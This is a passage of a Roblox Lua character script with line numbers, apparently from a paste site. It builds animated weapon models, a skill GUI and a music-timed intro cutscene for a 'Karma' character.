2096
        CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.1, 0.2) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
2097
    else
2098
        local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "White", "Part", VT(0.1,0.05,0),false)
2099
        CreateWeldOrSnapOrMotor("Weld", Handle, LASTPART, Part, CF(0, 0.025, 0) * ANGLES(RAD(8), RAD(0), RAD(0)), CF(0, -0.025, 0))
2100
        LASTPART = Part
2101
    end
2102
end
2103
 
2104
local Barrel = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Part", VT(0.15,2,0.15),false)
2105
MakeForm(Barrel,"Cyl")
2106
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Barrel, CF(0, -0.6, 1.8) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
2107
local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Part", VT(0.25,1,0.25),false)
2108
MakeForm(Part,"Cyl")
2109
CreateWeldOrSnapOrMotor("Weld", Handle, Barrel, Part, CF(0, -0.6, 0), CF(0, 0, 0))
2110
local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Part", VT(0,0.1,0.2),false)
2111
MakeForm(Part,"Wedge")
2112
CreateWeldOrSnapOrMotor("Weld", Handle, Barrel, Part, CF(0, 0.945, 0.1) * ANGLES(RAD(180), RAD(0), RAD(0)), CF(0, 0, 0))
2113
local Hole = CreatePart(3, KarmaGun, "Metal", 0, 0, "White", "Eye", VT(0.125,0,0.125),false)
2114
MakeForm(Hole,"Cyl")
2115
CreateWeldOrSnapOrMotor("Weld", Handle, Barrel, Hole, CF(0, 0.98, 0), CF(0, 0, 0))
2116
local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "White", "Part", VT(0,0,0),false)
2117
local GEARWELD = CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 0.7), CF(0, 0, 0))
2118
CreateMesh("SpecialMesh", Part, "FileMesh", 156292343, "", VT(0.8,0.8,1.5), VT(0,0,0.2))
2119
local Part = CreatePart(3, KarmaGun, "Metal", 0, 0.5, "White", "Eye", VT(0,0,0),false)
2120
local GEARWELD2 = CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 0.7), CF(0, 0, 0))
2121
CreateMesh("SpecialMesh", Part, "FileMesh", 156292343, "", VT(0.9,0.9,0.3), VT(0,0,0.2))
2122
coroutine.resume(coroutine.create(function()
2123
    while wait() do
2124
        GEARWELD.C0 = GEARWELD.C0 * ANGLES(RAD(0), RAD(0), RAD(5))
2125
        GEARWELD2.C0 = GEARWELD2.C0 * ANGLES(RAD(0), RAD(0), RAD(-5))
2126
    end
2127
end))
2128
-- UsedGun(Karma) --
2129
 
2130
local Handle2 = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Part", VT(0.2,0.6,0.2),false)
2131
local LeftArmGrasp = nil
2132
if(script["Mode"].Value ~= "Insane") then
2133
LeftArmGrasp = CreateWeldOrSnapOrMotor("Weld", Handle2, RightArm, Handle2, CF(0, -1, 0) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0.21, 0))
2134
elseif(script["Mode"].Value == "Insane") then
2135
LeftArmGrasp = CreateWeldOrSnapOrMotor("Weld", Handle2, LeftArm, Handle2, CF(0, -1, 0) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0.21, 0))
2136
end
2137
local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Part", VT(0.2,0.5,0.2),false)
2138
MakeForm(Part,"Wedge")
2139
CreateWeldOrSnapOrMotor("Weld", Handle2, Handle2, Part, CF(0, -0.3, 0.2) * ANGLES(RAD(0), RAD(180), RAD(0)), CF(0, 0, 0))
2140
local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Part", VT(0.2,0.3,0.2),false)
2141
MakeForm(Part,"Wedge")
2142
CreateWeldOrSnapOrMotor("Weld", Handle2, Handle2, Part, CF(0, -0.4, 0) * ANGLES(RAD(0), RAD(0), RAD(180)), CF(0, 0, 0))
2143
local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Part", VT(0.3,0.3,0.3),false)
2144
CreateWeldOrSnapOrMotor("Weld", Handle2, Handle2, Part, CF(0, -0.5, 0.2) * ANGLES(RAD(0), RAD(0), RAD(0)), CF(0, 0, 0))
2145
local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Part", VT(0.3,0.5,0.5),false)
2146
CreateWeldOrSnapOrMotor("Weld", Handle2, Handle2, Part, CF(0, -0.6, 0.5) * ANGLES(RAD(0), RAD(0), RAD(0)), CF(0, 0, 0))
2147
local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Part", VT(0.4,0.4,0.4),false)
2148
MakeForm(Part,"Cyl")
2149
CreateWeldOrSnapOrMotor("Weld", Handle2, Handle2, Part, CF(0, -0.6, 0.5) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
2150
for i = 1, 8 do
2151
    local Piece = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Eye", VT(0,0.35,0.41),false)
2152
    CreateWeldOrSnapOrMotor("Weld", Handle2, Part, Piece, CF(0, 0, 0) * ANGLES(RAD(0), RAD((360/8)*i), RAD(0)), CF(0, 0, 0))
2153
end
2154
local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Eye", VT(0.38,0.41,0.38),false)
2155
MakeForm(Part,"Cyl")
2156
CreateWeldOrSnapOrMotor("Weld", Handle2, Handle2, Part, CF(0, -0.6, 0.5) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
2157
local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Part", VT(0.37,0.5,0.37),false)
2158
MakeForm(Part,"Ball")
2159
CreateWeldOrSnapOrMotor("Weld", Handle2, Handle2, Part, CF(0, -0.6, 0.3) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
2160
local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Part", VT(0.2,0.7,0.4),false)
2161
MakeForm(Part,"Wedge")
2162
CreateWeldOrSnapOrMotor("Weld", Handle2, Handle2, Part, CF(0, -0.7, 0.5) * ANGLES(RAD(90), RAD(180), RAD(180)), CF(0, 0, 0))
2163
local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Part", VT(0.3,0.4,0.2),false)
2164
CreateWeldOrSnapOrMotor("Weld", Handle2, Handle2, Part, CF(0, -0.6, 0.7) * ANGLES(RAD(0), RAD(0), RAD(0)), CF(0, 0, 0))
2165
local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Part", VT(0.35,0.35,0.35),false)
2166
MakeForm(Part,"Cyl")
2167
CreateWeldOrSnapOrMotor("Weld", Handle2, Handle2, Part, CF(0, -0.6, 0.7) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
2168
local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Part", VT(0.5,0.1,0.5),false)
2169
MakeForm(Part,"Cyl")
2170
CreateWeldOrSnapOrMotor("Weld", Handle2, Handle2, Part, CF(0, -0.6, 1) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
2171
local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Part", VT(0.5,0.1,0.45),false)
2172
MakeForm(Part,"Cyl")
2173
CreateWeldOrSnapOrMotor("Weld", Handle2, Handle2, Part, CF(0, -0.6, 1.1) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
2174
local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Part", VT(0.2,0.5,0.2),false)
2175
MakeForm(Part,"Wedge")
2176
CreateWeldOrSnapOrMotor("Weld", Handle2, Handle2, Part, CF(0, -0.55, 0.2) * ANGLES(RAD(-135), RAD(0), RAD(0)), CF(0, -0.3, 0))
2177
local LASTPART = Handle2
2178
for i = 1, 10 do
2179
    if LASTPART == Handle then
2180
        local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "White", "Part", VT(0.1,0.2,0),false)
2181
        LASTPART = Part
2182
        CreateWeldOrSnapOrMotor("Weld", Handle2, Handle2, Part, CF(0, -0.1, 0.2) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
2183
    else
2184
        local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "White", "Part", VT(0.1,0.05,0),false)
2185
        CreateWeldOrSnapOrMotor("Weld", Handle2, LASTPART, Part, CF(0, 0.025, 0) * ANGLES(RAD(8), RAD(0), RAD(0)), CF(0, -0.025, 0))
2186
        LASTPART = Part
2187
    end
2188
end
2189
 
2190
local Barrel2 = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Part", VT(0.15,2,0.15),false)
2191
MakeForm(Barrel,"Cyl")
2192
CreateWeldOrSnapOrMotor("Weld", Handle2, Handle2, Barrel2, CF(0, -0.6, 1.8) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
2193
local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Part", VT(0.25,1,0.25),false)
2194
MakeForm(Part,"Cyl")
2195
CreateWeldOrSnapOrMotor("Weld", Handle2, Barrel2, Part, CF(0, -0.6, 0), CF(0, 0, 0))
2196
local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "Really black", "Part", VT(0,0.1,0.2),false)
2197
MakeForm(Part,"Wedge")
2198
CreateWeldOrSnapOrMotor("Weld", Handle2, Barrel2, Part, CF(0, 0.945, 0.1) * ANGLES(RAD(180), RAD(0), RAD(0)), CF(0, 0, 0))
2199
local Hole2 = CreatePart(3, KarmaGun2, "Metal", 0, 0, "White", "Eye", VT(0.125,0,0.125),false)
2200
MakeForm(Hole,"Cyl")
2201
CreateWeldOrSnapOrMotor("Weld", Handle2, Barrel2, Hole2, CF(0, 0.98, 0), CF(0, 0, 0))
2202
local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0, "White", "Part", VT(0,0,0),false)
2203
local GEARWELD3 = CreateWeldOrSnapOrMotor("Weld", Handle2, Handle2, Part, CF(0, -0.6, 0.7), CF(0, 0, 0))
2204
CreateMesh("SpecialMesh", Part, "FileMesh", 156292343, "", VT(0.8,0.8,1.5), VT(0,0,0.2))
2205
local Part = CreatePart(3, KarmaGun2, "Metal", 0, 0.5, "White", "Eye", VT(0,0,0),false)
2206
local GEARWELD4 = CreateWeldOrSnapOrMotor("Weld", Handle2, Handle2, Part, CF(0, -0.6, 0.7), CF(0, 0, 0))
2207
CreateMesh("SpecialMesh", Part, "FileMesh", 156292343, "", VT(0.9,0.9,0.3), VT(0,0,0.2))
2208
coroutine.resume(coroutine.create(function()
2209
    while wait() do
2210
        GEARWELD3.C0 = GEARWELD.C0 * ANGLES(RAD(0), RAD(0), RAD(5))
2211
        GEARWELD4.C0 = GEARWELD2.C0 * ANGLES(RAD(0), RAD(0), RAD(-5))
2212
    end
2213
end))
2214
 
2215
for _, b in pairs(Karma:GetChildren()) do
2216
    if b.ClassName == "Part" then
2217
        b.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0)
2218
    end
2219
end
2220
 
2221
for _, b in pairs(Weapon:GetChildren()) do
2222
    if b.ClassName == "Part" then
2223
        b.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0)
2224
    end
2225
end
2226
 
2227
 
2228
for _, b in pairs(KarmaGun2:GetChildren()) do
2229
    if b.ClassName == "Part" then
2230
        b.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0)
2231
    end
2232
end
2233
 
2234
for _, b in pairs(KarmaGun:GetChildren()) do
2235
    if b.ClassName == "Part" then
2236
        b.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0)
2237
    end
2238
end
2239
 
2240
coroutine.resume(coroutine.create(function()
2241
    while true do
2242
        Swait()
2243
        for _, c in pairs(KarmaGun2:GetDescendants()) do
2244
            if c.ClassName == "Part" and c.Name ~= "Eye" and c.Parent ~= Effects and c.Parent.Parent ~= Effects then
2245
                c.Material = "Glass"
2246
                c.Color = BrickColor.Random().Color
2247
            elseif c.ClassName == "Part" and c.Name == "Eye" then
2248
                c.Material = "Neon"
2249
                c.Color = C3(r / 255, g / 255, b / 255)
2250
            end
2251
        end
2252
        for _, c in pairs(KarmaGun:GetDescendants()) do
2253
            if c.ClassName == "Part" and c.Name ~= "Eye" and c.Parent ~= Effects and c.Parent.Parent ~= Effects then
2254
                c.Material = "Glass"
2255
                c.Color = BrickColor.Random().Color
2256
            elseif c.ClassName == "Part" and c.Name == "Eye" then
2257
                c.Material = "Neon"
2258
                c.Color = C3(r / 255, g / 255, b / 255)
2259
            end
2260
        end
2261
    end
2262
end))
2263
 
2264
Weapon.Parent = Character
2265
Karma.Parent = Character
2266
if(script["Mode"].Value ~= "Insane")then
2267
    KarmaGun.Parent = Character
2268
    KarmaGun2.Parent = nil
2269
elseif(script["Mode"].Value == "Insane")then
2270
    KarmaGun.Parent = nil
2271
    KarmaGun2.Parent = Character
2272
end
2273
Humanoid.Died:connect(function()
2274
    ATTACK = true
2275
end)
2276
 
2277
for _, skill in pairs(script.GuiFolder.SkillFrames:GetChildren()) do
2278
    if skill:IsA("Frame") then
2279
        skill.Parent = WEAPONGUI
2280
        if(script["Mode"].Value ~= "Insane")then
2281
            if skill.Name == "Skill 9 Frame" then
2282
                skill:Remove()
2283
            else
2284
                for _, label in pairs(skill:GetChildren()) do
2285
                    if label:IsA("TextLabel") then
2286
                        label.TextColor3 = SKILLTEXTCOLOR
2287
                    end
2288
                end
2289
            end
2290
        end
2291
    end
2292
end
2293
 
2294
for i, v in pairs(WEAPONGUI:GetDescendants()) do
2295
    if v:IsA("TextLabel") then
2296
        if(v.Text:sub(1, 7) ~= "[CLICK]")then
2297
            table.insert(ATTACKLIST, v.Text:sub(5))
2298
        elseif(v.Text:sub(1, 7) == "[CLICK]")then
2299
            table.insert(ATTACKLIST, v.Text:sub(9))
2300
        end
2301
    end
2302
end
2303
 
2304
local fullscreenz = IT("Frame")
2305
fullscreenz.Parent = WEAPONGUI
2306
fullscreenz.BackgroundColor3 = C3(255, 255, 255)
2307
fullscreenz.BackgroundTransparency = 1
2308
fullscreenz.BorderColor3 = C3(17, 17, 17)
2309
fullscreenz.Size = UDim2.new(1, 0, 1, 0)
2310
fullscreenz.Position = UDim2.new(0, 0, 0, 0)
2311
local imgl2 = IT("ImageLabel",fullscreenz)
2312
imgl2.BackgroundTransparency = 1
2313
imgl2.BorderSizePixel = 0
2314
imgl2.ImageTransparency = 0.5
2315
imgl2.Position = UDim2.new(0.75,-100,0.55,-100)
2316
imgl2.Size = UDim2.new(0,800,0,800)
2317
imgl2.Image = "rbxassetid://2076458450"
2318
local techc = imgl2:Clone()
2319
techc.Parent = fullscreenz
2320
techc.ImageTransparency = 0
2321
techc.Size = UDim2.new(0,900,0,900)
2322
techc.Position = UDim2.new(0.75,-150,0.55,-150)
2323
techc.Image = "rbxassetid://2092248396"
2324
local circl = imgl2:Clone()
2325
circl.Parent = fullscreenz
2326
circl.ImageTransparency = 0
2327
circl.Size = UDim2.new(0,550,0,550)
2328
circl.Position = UDim2.new(0.75,25,0.55,25)
2329
circl.Image = "rbxassetid://2109052855"
2330
local circl2 = imgl2:Clone()
2331
circl2.Parent = fullscreenz
2332
circl2.ImageTransparency = 0
2333
circl2.Size = UDim2.new(0,700,0,700)
2334
circl2.Position = UDim2.new(0.75,-50,0.55,-50)
2335
circl2.Image = "rbxassetid://2109045978"
2336
local imgl2b = imgl2:Clone()
2337
imgl2b.Parent = fullscreenz
2338
imgl2b.ImageTransparency = 0
2339
imgl2b.Size = UDim2.new(0,600,0,600)
2340
imgl2b.Position = UDim2.new(0.75,0,0.55,0)
2341
local ned = IT("TextLabel",fullscreenz)
2342
ned.ZIndex = 2
2343
ned.Font = "SciFi"
2344
ned.BackgroundTransparency = 1
2345
ned.BorderSizePixel = 0.65
2346
ned.Size = UDim2.new(0.3,0,0.2,0)
2347
ned.Position = UDim2.new(0.7,0,0.8,0)
2348
ned.TextColor3 = BrickColor.new("Really black").Color
2349
ned.TextStrokeColor3 = BrickColor.new("White").Color
2350
ned.TextScaled = true
2351
ned.TextStrokeTransparency = 0
2352
ned.Text = "Karma"
2353
ned.TextSize = 24
2354
ned.Rotation = 1
2355
ned.TextXAlignment = "Right"
2356
ned.TextYAlignment = "Bottom"
2357
 
2358
local Hearts = {}
2359
local hrt = NewInstance("Part",Effects,{Name='Heart',Anchored=false,CanCollide=false,Material=Enum.Material.Neon,Color=C3(1,0,0),Size=VT(.05,.05,.05),Locked=true,Archivable=false})
2360
local hrtMesh = NewInstance("SpecialMesh",hrt,{MeshId="rbxassetid://105992239",Offset=VT(0,0,0),Scale=VT(3.9,3.9,1)})
2361
local weld = Weld(Torso,hrt,CF(.5,.25,-.65))
2362
table.insert(Hearts,{hrt,hrtMesh})
2363
--//=================================\\
2364
--|| INTRO
2365
--\\=================================//
2366
 
2367
local skipBtn = script.GuiFolder.skipButton:Clone()
2368
skipBtn.Parent = screenUi
2369
skipBtn.MouseButton1Click:Connect(function()
2370
    if(skipintro == false)then
2371
        skipintro = true
2372
        skipBtn.Text = "Skipping Intro.."
2373
    end
2374
end)
2375
 
2376
coroutine.resume(coroutine.create(function()
2377
    while true do
2378
        Swait()
2379
        skipBtn.BackgroundColor3 = BrickColor.Random().Color
2380
        skipBtn.BorderColor3 = C3(1, 1, 1)
2381
        skipBtn.TextColor3 = BrickColor.Random().Color
2382
        skipBtn.TextStrokeColor3 = C3(1, 1, 1)
2383
        skipBtn.Rotation = 0 - 2 * COS(SINE / 24)
2384
    end
2385
end))
2386
 
2387
function Intro()
2388
    ATTACK = true
2389
    Humanoid.WalkSpeed = 0
2390
    if(not skipintro) then
2391
        if(script["Mode"].Value == "Karma")then
2392
            warnedpeople("I'm not usually the type to hold a grudge..")
2393
            repeat
2394
                wait()
2395
            until sick.TimePosition > 120.6
2396
            if(not skipintro) then
2397
                warnedpeople("But..")
2398
                repeat
2399
                    wait()
2400
                until sick.TimePosition > 121.8
2401
            end
2402
            if(not skipintro) then
2403
                warnedpeople("You've effected me.")
2404
                repeat
2405
                    wait()
2406
                until sick.TimePosition > 124.1
2407
            end
2408
            if(not skipintro) then
2409
                warnedpeople("And now,")
2410
                repeat
2411
                    wait()
2412
                until sick.TimePosition > 125.2
2413
            end
2414
            if(not skipintro) then
2415
                warnedpeople("I'm nothing..")
2416
                repeat
2417
                    wait()
2418
                until sick.TimePosition > 127.1
2419
            end
2420
            if(not skipintro) then
2421
                warnedpeople("But rage.")
2422
                repeat
2423
                    wait()
2424
                until sick.TimePosition > 129.3
2425
            end
2426
            skipBtn:Destroy()
2427
            sick.TimePosition = 129.4
2428
            hasarrived("KARMA")
2429
            Humanoid.WalkSpeed = Speed
2430
            ATTACK = false
2431
        elseif(script["Mode"].Value == "ByeBye")then
2432
            if(not skipintro) then
2433
                warnedpeople("I try to keep my cool but..")
2434
                repeat
2435
                    wait()
2436
                until sick.TimePosition > 5.757
2437
            end
2438
            if(not skipintro) then
2439
                warnedpeople("My life turns in slow motion..")
2440
                repeat
2441
                    wait()
2442
                until sick.TimePosition > 9.300
2443
            end
2444
            skipBtn:Destroy()
2445
            sick.TimePosition = 9.300
2446
            hasarrived("KARMA")
2447
            Humanoid.WalkSpeed = Speed
2448
            ATTACK = false
2449
        elseif(script["Mode"].Value == "Insane")then
2450
            if(not skipintro) then
2451
                repeat
2452
                    Swait()
2453
                    Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(15 - 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)), 0.15 / Animation_Speed)
2454
                    RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1, 0.5, 0.5) * ANGLES(RAD(-3.5 * COS(SINE / 12)), RAD(-45), RAD(12)) * ANGLES(RAD(-45 - 2.5 * COS(SINE / 12) + 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 0.15 / Animation_Speed)
2455
                    RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0 + 0.1 * COS(SINE / 12)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.8 / Animation_Speed)
2456
                    LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1, 0.5, 0.5) * ANGLES(RAD(0), RAD(45), RAD(-12)) * ANGLES(RAD(-45 - 2.5 * COS(SINE / 12) + 2.5 * SIN(SINE / 12)), RAD(0), RAD(0)) * LEFTSHOULDERC0, 0.15 / Animation_Speed)
2457
                    RightHip.C0 = Clerp(RightHip.C0, CF(1, -1 - 0.1 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(80), RAD(0)) * ANGLES(RAD(-8), RAD(0), RAD(2.5 * COS(SINE / 12))), 0.8 / Animation_Speed)
2458
                    LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1 - 0.1 * COS(SINE / 12), -0.01) * ANGLES(RAD(0), RAD(-80), RAD(0)) * ANGLES(RAD(-8), RAD(5), RAD(15-2.5 * COS(SINE / 12))), 0.8 / Animation_Speed)
2459
                until sick.TimePosition > 115
2460
            end
2461
            if(not skipintro) then
2462
                repeat
2463
                    Swait()
2464
                    RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0 * Player_Size, 0 * Player_Size, -1 * Player_Size) * ANGLES(RAD(45), RAD(0), RAD(0)), 0.2 / Animation_Speed/8)
2465
                    Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0 * Player_Size, 0 * Player_Size, 0 + ((1 * Player_Size) - 1)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed)
2466
                    RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5 * Player_Size, 1 * Player_Size, 0.1 * Player_Size) * ANGLES(RAD(30), RAD(-690), RAD(2 - 2.5 * COS(SINE / 12) + 2.5 * SIN(SINE / 24))) * RIGHTSHOULDERC0, 0.15 / Animation_Speed/8)
2467
                    LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5 * Player_Size, 0.5 * Player_Size, 0 * Player_Size) * ANGLES(RAD(90), RAD(25), RAD(45)) * LEFTSHOULDERC0, 0.15 / Animation_Speed/8)
2468
                    RightHip.C0 = Clerp(RightHip.C0, CF(1 * Player_Size, -0.3 * Player_Size, -1 * Player_Size) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-20)), 0.2 / Animation_Speed/8)
2469
                    LeftHip.C0 = Clerp(LeftHip.C0, CF(-1.2, 0.2 - 0.1 * COS(SINE / 24), -0.4 - 0.1 * COS(SINE / 24)) * ANGLES(RAD(45), RAD(-70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(10)), 0.2 / Animation_Speed/8)
2470
                until sick.TimePosition > 117
2471
            end
2472
            local HITFLOOR,HITPOS = Raycast(RightArm.CFrame*CF(0,0.2,0).p+VT(0,0.2,0), (CF(RootPart.Position, RootPart.Position + VT(0, -1, 0))).lookVector, 4*RootPart.Size.X, Character)
2473
            if HITFLOOR then
2474
                for i = 1, 5 do
2475
                    CreateFlyingDebree(HITFLOOR,CF(HITPOS),MRANDOM(1,2),VT(MRANDOM(10,60)/20,MRANDOM(10,60)/20,MRANDOM(10,60)/20),5,MRANDOM(45,85))
2476
                end
2477
                Chunks(RightArm)
2478
                WACKYEFFECT({Time = 25, EffectType = "Wave", Size = VT(1,2,1), Size2 = VT(15,0,15), Transparency = 0, Transparency2 = 1, CFrame = CF(HITPOS) * ANGLES(RAD(0), RAD(MRANDOM(0,360)), RAD(0)) , MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(1,1,1), SoundID = 765590102, SoundPitch = MRANDOM(8,12)/10, SoundVolume = 4})
2479
            end
2480
            local sp = Instance.new("Part", Hole2)
2481
            sp.Anchored = true
2482
            sp.CanCollide = false
2483
            sp.Locked = true
2484
            sp.Transparency = 0
2485
            sp.Material = "Neon"
2486
            sp.Size = Vector3.new(1,1,1)
2487
            sp.TopSurface = "SmoothNoOutlines"
2488
            sp.BottomSurface = "SmoothNoOutlines"
2489
            sp.BrickColor = BrickColor.new("Royal purple")
2490
            local spm = Instance.new("SpecialMesh", sp)
2491
            spm.MeshType = "Sphere"
2492
            spm.Scale = Vector3.new(21,21,21)
2493
            local sp2 = Instance.new("Part", Hole2)
2494
            sp2.Name = "Energy"
2495
            sp2.BrickColor = BrickColor.new("Royal purple")
2496
            sp2.Size = Vector3.new(1, 1, 1)
2497
            sp2.Shape = "Ball"
2498
            sp2.CanCollide = false
2499
            sp2.Anchored = true
2500
            sp2.Locked = true
2501
            sp2.TopSurface = 0
2502
            sp2.BottomSurface = 0
2503
            sp2.Transparency = 1
2504
            local spm2 = Instance.new("SpecialMesh",sp2)
2505
            spm2.MeshId = "rbxassetid://9982590"
2506
            spm2.Scale = Vector3.new(2,2,2)
2507
            local X = Instance.new("Part", Character)
2508
            X.Locked = true
2509
            X.Name = "Shell"
2510
            X.Anchored = false
2511
            X.CanCollide = false
2512
            X.Transparency = 0
2513
            X.Reflectance = 0
2514
            X.BottomSurface = 0
2515
            X.TopSurface = 0
2516
            X.Shape = 0
2517
            X.BrickColor = BrickColor.new("Royal purple")
2518
            X.Size = Vector3.new(2, 2, 2)
2519
            X.Material = "Neon"
2520
            local Z = Instance.new("SpecialMesh", X)
2521
            Z.MeshType = "Sphere"
2522
            Z.Scale = Vector3.new(0.5,0.5,1)
2523
            X.CFrame = Hole2.CFrame
2524
            if(not skipintro) then
2525
                repeat
2526
                    Swait()
2527
                    spm.Scale = spm.Scale - Vector3.new(1,1,1)
2528
                    sp.CFrame = RootPart.CFrame * CFrame.new(0,1,-2)
2529
                    RootJoint.C0 = Clerp(RootJoint.C0, ROOTC0 * CF(0 * Player_Size, 0 * Player_Size, -1 * Player_Size) * ANGLES(RAD(45), RAD(0), RAD(0)), 0.2 / Animation_Speed*3)
2530
                    Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0 * Player_Size, 0 * Player_Size, 0 + ((1 * Player_Size) - 1)) * ANGLES(RAD(0), RAD(0), RAD(0)), 0.2 / Animation_Speed)
2531
                    RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.45 * Player_Size, 0.2 * Player_Size, -0.125 * Player_Size) * ANGLES(RAD(60 + MRANDOM(-5,5)), RAD(0), RAD(25 + MRANDOM(-5,5))) * ANGLES(RAD(0), RAD(80), RAD(0)) * RIGHTSHOULDERC0, 0.15 / Animation_Speed * 5)
2532
                    LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5 * Player_Size, 0.5 * Player_Size, 0 * Player_Size) * ANGLES(RAD(90), RAD(25), RAD(45)) * LEFTSHOULDERC0, 0.15 / Animation_Speed)
2533
                    RightHip.C0 = Clerp(RightHip.C0, CF(1 * Player_Size, -0.3 * Player_Size, -1 * Player_Size) * ANGLES(RAD(0), RAD(90), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(-20)), 0.2 / Animation_Speed)
2534
                    LeftHip.C0 = Clerp(LeftHip.C0, CF(-1.2, 0.2 - 0.1 * COS(SINE / 24), -0.4 - 0.1 * COS(SINE / 24)) * ANGLES(RAD(45), RAD(-70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(10)), 0.2 / Animation_Speed)
2535
                until sick.TimePosition > 119
2536
            end
2537
            for i = 1, 100, 20 do
2538
                Swait()
2539
                sp.CFrame = RootPart.CFrame*CFrame.new(0,1,-2)
2540
            end
2541
            skipBtn:Destroy()
2542
            sp:Destroy()
2543
            sp2:Destroy()
2544
            X:Destroy()
2545
            sick.TimePosition = 119.1
2546
            hasarrived("KARMA")
2547
            Humanoid.WalkSpeed = Speed
2548
            ATTACK = false
2549
        end
2550
    end
2551
end
2552
 
2553
coroutine.resume(coroutine.create(function()
2554
    while true do
2555
        Swait()
2556
        SINE = SINE + CHANGE
2557
    end
2558
end))
2559
 
2560
Intro()
2561
 
2562
--//=================================\\
2563
--||         DAMAGE FUNCTIONS
2564
--\\=================================//
2565
 
2566
function StatLabel(LABELTYPE, CFRAME, TEXT, COLOR)
2567
    local STATPART = CreatePart(3, Effects, "SmoothPlastic", 0, 1, BrickColor.Random(), "Effect", VT())
2568
    STATPART.CFrame = CF(CFRAME.p + VT(0, 1.5, 0))
2569
    local BODYGYRO = IT("BodyGyro", STATPART)
2570
    local BODYPOSITION = IT("BodyPosition", STATPART)
2571
    BODYPOSITION.P = 2000
2572
    BODYPOSITION.D = 100
2573
    BODYPOSITION.maxForce = VT(math.huge, math.huge, math.huge)
2574
    BODYPOSITION.position = STATPART.Position + VT(MRANDOM(-2, 2), 6, MRANDOM(-2, 2))
2575
    game:GetService("Debris"):AddItem(STATPART ,5)
2576
    local BILLBOARDGUI = Instance.new("BillboardGui", STATPART)
2577
    BILLBOARDGUI.Adornee = STATPART
2578
    BILLBOARDGUI.Size = UD2(2.5, 0, 2.5 ,0)
2579
    BILLBOARDGUI.StudsOffset = VT(-2, 2, 0)
2580
    BILLBOARDGUI.AlwaysOnTop = false
2581
    local TEXTLABEL = Instance.new("TextLabel", BILLBOARDGUI)
2582
    TEXTLABEL.BackgroundTransparency = 1
2583
    TEXTLABEL.Size = UD2(2.5, 0, 2.5, 0)
2584
    TEXTLABEL.Text = TEXT
2585
